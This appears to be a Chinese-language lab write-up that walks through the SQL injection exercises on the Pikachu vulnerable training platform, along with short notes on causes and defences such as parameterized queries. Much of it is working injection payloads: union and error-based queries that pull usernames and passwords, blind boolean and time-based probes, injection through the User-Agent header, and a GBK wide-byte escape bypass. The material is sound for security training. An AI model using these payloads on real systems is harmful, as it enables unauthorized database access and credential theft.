Pikachu:SQL Inject(SQL注入)
简介
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
攻击流程:
1. 注入点探测
自动方式:使用web漏洞扫描工具,自动进行注入点发现
手动方式:手工构造sql inject测试语句进行注入点发现
2. 信息获取
通过注入点取得期望得到的数据
1. 环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
2. 数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)
3. 获取权限 获取操作系统权限:通过数据库执行shell,上传木马
Get型数据中,使用url提交注入数据;post数据中,使用抓包工具(一般为Burp Suite)修改post数据部分提交注入,可以参考我前面的Sqli-labs博客,联合查询部分几乎都是URL,使用抓包工具的post类型可以从暴力破解部分寻找。
数字型注入(post)
我们进入本节页面,先做代理,因为这是post型,所以需要抓包,在下拉菜单中选择任意数字,点击查询:
数据在Burp Suite中被抓到,发送到repeater里:
修改id后面给他增加sql语句(在图中选中部分增加or 1=1),然后点击Go,右边的Response会出现结果,选择到Render,下拉后发现,页面返回来所有的数据信息:
我们来看一下源码,发现post请求直接把id带入到sql语句中,没有做任何处理,所以在id这里存在sql注入漏洞(路径如下):
字符型注入(get)
进入页面,我们这里输入Kobe,然后返回结果:
当然,字符型Sql的漏洞,我们当然要在注入语句上做文章,寻找注入点然后闭合,在注入点进行闭合,然后点击查询,发现数据都爆出来了:
Kobe' or 1=1#
搜索型注入
我们进入页面,发现其实这是个模糊查询,所有满足输入字段的用户名都会弹出,输入一个l,我们看看结果:
这种模糊查询,在SQL语句中也能实现,事实上使用了“like”来实现,我们查看源码来求证,语句应该是:
select username,id,email from member where username like '%$name%'
和字符型注入一样,我们尝试在注入点注入,这里我们可以用 xxx%’ or 1=1#,xxx就是输入的名字,其实这里无关紧要,输入l也可以,其他的也可以,输入发现用户名信息都爆出来了:
l%’ or 1=1#
xx型注入
【因为要求,所以我这里把我的本地的ip从192.168.1.4,改为了192.168.11.1】
我们先进入页面,还是输入lili,然后发现回显结果与字符型注入差不多:
经过尝试发现只是数据注入点包裹方式不同而已,现在的包裹方式是a') ,所以还是用or 1=1然后闭合,就可以爆出数据了,最前面的那个字母随便一个都可以:
l') or 1=1#
【小结:我们在这里其实只是简单的把信息爆出来而已,细致的进行还需要使用各种查询语句,比如联合查询,报错注入的方式,都是可以的,这里我们只把语句放出来,具体语句的含义,可以参考我的Sqli-labs的博客,里面有详细的解释:
联合查询(使用union语句):
猜字段数:
a') order by 3#(更改数值,如回显正常即为成功,这里其实是2)
查当前数据库:pikachu
a') union select database(),2#
查表
a') union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
查询users表中的字段名:
a') union select table_name,column_name from information_schema.columns where table_name='users'#(太多了就放出一部分吧)
查用户名和密码:
a') union select username,password from users#
报错注入:
这里需要多说一句,如果后台阻止报错信息的输出,那这种方式就行不通了。因为你看不到报错信息,更谈不上从中获取信息了,我们报错的核心就在于updatexml()、exactvalue()、 floor()这三个函数的格式报错,这三个函数也是我们的常用函数,通过它对语法格式的报错来得到信息,在内部嵌入select语句(这里用xx型注入演示):
查当前数据库:
a') and updatexml(1,concat(0x7e,database()),0)#
然后查库查表查字段之类的,就是把上面的语句中的database()替换为select语句即可,换句话说,里面其实就是联合查询的内容,需要注意的是,报错注入显示的内容一次只能显示一行,所以需要用limit字段限制输出的行列,这里不再赘述,直接放出最后爆出用户名和密码的语句:
a') and updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1) ),1)#
】
“insert/update”注入
insert:
这一关是使用insert语句来注入,不是select语句了。insert into 语句用于向表格中插入新的行,我们来看看语法:
语法结构
INSERT INTO 表名称 VALUES (值1, 值2,....)
我们也可以指定所要插入数据的列:
INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)
插入新的行
INSERT INTO Persons VALUES ('Gates', 'Bill', 'Xuanwumen 10', 'Beijing')
在指定的列中插入数据
INSERT INTO Persons (LastName, Address) VALUES ('Wilson', 'Champs-Elysees')
简而言之,insert into后面是要插入的数据库名称,value后面是插入的具体数据。
进入页面,然后点击注册,因为我们入侵的话是没有符合规则的用户名密码的:
我们看到这里有两个必填项,不能为空,所以在用户名构造报错注入的语句,在密码处随便输入一下,我这里是123,我们先看看基本的语句:
insert into member(username,pw,sex,phonenum,email,address)values(‘a’,50,1,2,3,4);
有了上面开头的内容,我们很容易就能够理解这个语句的含义,插入一个名叫member的数据库,它里面有username,pw,sex,phonenum,email,address这几个字段,对应插入的数值分别是‘a’,50,1,2,3,4。然后我们看看insert的SQL报错注入语句如何构造(其实没啥区别):
l'or updatexml(1,concat(0x7e,database()),0)or '(很明显这是一个查当前数据库的语句)
其他其实差不多,语句没啥区别,就是把database(),替换为联合查询的select语句即可完成,这里只放出最后的语句:
lh' or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1) ),1) or '
update:
update语句用于修改表中的数据,我们还是来看看它的语法结构:
UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
更新某一行中的一个列
我们为 lastname 是 "Wilson" 的人添加 firstname:
UPDATE Person SET FirstName = 'Fred' WHERE LastName = 'Wilson'
更新某一行中的若干列
我们会修改地址(address),并添加城市名称(city):
UPDATE Person SET Address = 'Zhongshan 23', City = 'Nanjing' WHERE LastName = 'Wilson'
很明显update后选择表,然后set字段是设置修改的参数列名,最后用where来限定修改哪一条件字段的数据。语句其实与上面insert的相同,不再赘述:
lh' or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1) ),1) or '
“delete”注入
顾名思义,当然是删除的时候产生的注入咯,事实上DELETE 语句用于删除表中的行,我们还是来看看语法的结构:
DELETE FROM 表名称 WHERE 列名称 = 值
这个一眼就很明了了,删除在某一个表中的列名为某个值的那一行,通过列名来确定行的位置。我们进入页面,输入123456,点击submit,发现完成存储:
设置代理,使用Burp Suite抓包,点击删除,然后抓到包:
发送到Repeater,然后改包,将id后面的数字改成下面的语句(这是最终的语句,其他语句可以参考上面的内容,不再赘述),要注意的一点是,由于是get的类型的,在payload记得进行url编码:
id= 1 or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1) ),1)
点击Go,右边拉到最下方,可以看到报错信息:
“http header”注入
HTTP头注入其实并不是一个新的SQL注入类型,而是指出现SQL注入漏洞的场景。有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证),或者通过http header头信息获取客户端的一些资料,比如useragent、accept字段等。会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL Inject漏洞。
进入页面,然后进行登录:admin/123456
通过登录进去的信息我们可以猜测,这个后端是不是对http header里面的数据进行了获取,应该也进行了相关数据库的操作,所以做个代理,抓包来看看,打开Burp Suite,然后点击“点击退出”:
然后还是照旧发送到Repeater,并修改user-agent 将信息改为:
firefox'or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1) ),1) or '
这里的语句还是最终的语句,具体细节参考上面。
把右边下拉到最下面,发现报错,爆出了用户名和密码:
布尔盲注(base on boolian)
实质就是利用字符的ascii码进行比对,看回显结果,回显正确则一步步缩小范围,最后确认数据库的名字,最终可以爆破出用户名和密码,但是过于繁琐,这里给出语句和截图:
回显成功:
lili' and ascii( substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) )<112#
回显失败:
lili' and ascii( substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) )>112#
时间盲注(base on time)
时间盲注与布尔盲注的区别,布尔盲注是根据回显结果正确与否来判断ascii码的范围,时间盲注不一样,它用if语句做判断,通过 database 把数据库名称取出来,通过 substr 把数据库第一个字符取出来,和字符作比较,如果相同就立即返回,如果不同就延迟5秒钟再返回。这里放出一条语句示例,不再赘述:
lili' and if((substr(database(),1,1))='a',sleep(5),null )#
宽字节注入
宽字节注入其实是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围),而当我们输入有单引号时会自动加入\进行转义而变为\’(在PHP配置文件中magic_quotes_gpc=On的情况下或者使用addslashes函数,icov函数,mysql_real_escape_string函数、mysql_escape_string函数等,提交的参数中如果带有单引号’,就会被自动转义\’,使得多数注入攻击无效),由于宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,将后面的一个字节与前一个大于128的ascii码进行组合成为一个完整的字符(mysql判断一个字符是不是汉字,首先两个字符时一个汉字,另外根据gbk编码,第一个字节ascii码大于128,基本上就可以了),此时’前的\就被吃了,我们就可以使用’了,利用这个特性从而可实施SQL注入的利用。
最常使用的宽字节注入是利用%df,其实我们只要第一个ascii码大于128就可以了,比如ascii码为129的就可以,但是我们怎么将他转换为URL编码呢,其实很简单,我们先将129(十进制)转换为十六进制,为0x81,如图1所示,然后在十六进制前面加%即可,即为%81,另外可以直接记住GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),则尾字节会被吃,如转义符号\对应的编码0×5C!另外简单提一下,GB2312是被GBK兼容的,它的高位范围是0xA1-0xF7,低位范围是0xA1-0xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c。
具体的内容可以参考我的博客Sqli-labs的宽字节注入部分。
涉及到的一些概念
字符、字符集与字符序
字符(character)是组成字符集(character set)的基本单位。对字符赋予一个数值(encoding)来确定这个字符在该字符集中的位置。
字符序(collation)指同一字符集内字符间的比较规则。
UTF8
由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。
宽字节
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。
我们进入页面,构造语句,在'(单引号)前面加一个%df,做一个代理,点击查询,抓包:
lili %df' or 1=1#
因为在后台单引号会被转义,在数据库中执行多了反斜杠,可以使用下面的payload,在单引号前面加上%df,绕过这个WAF即可。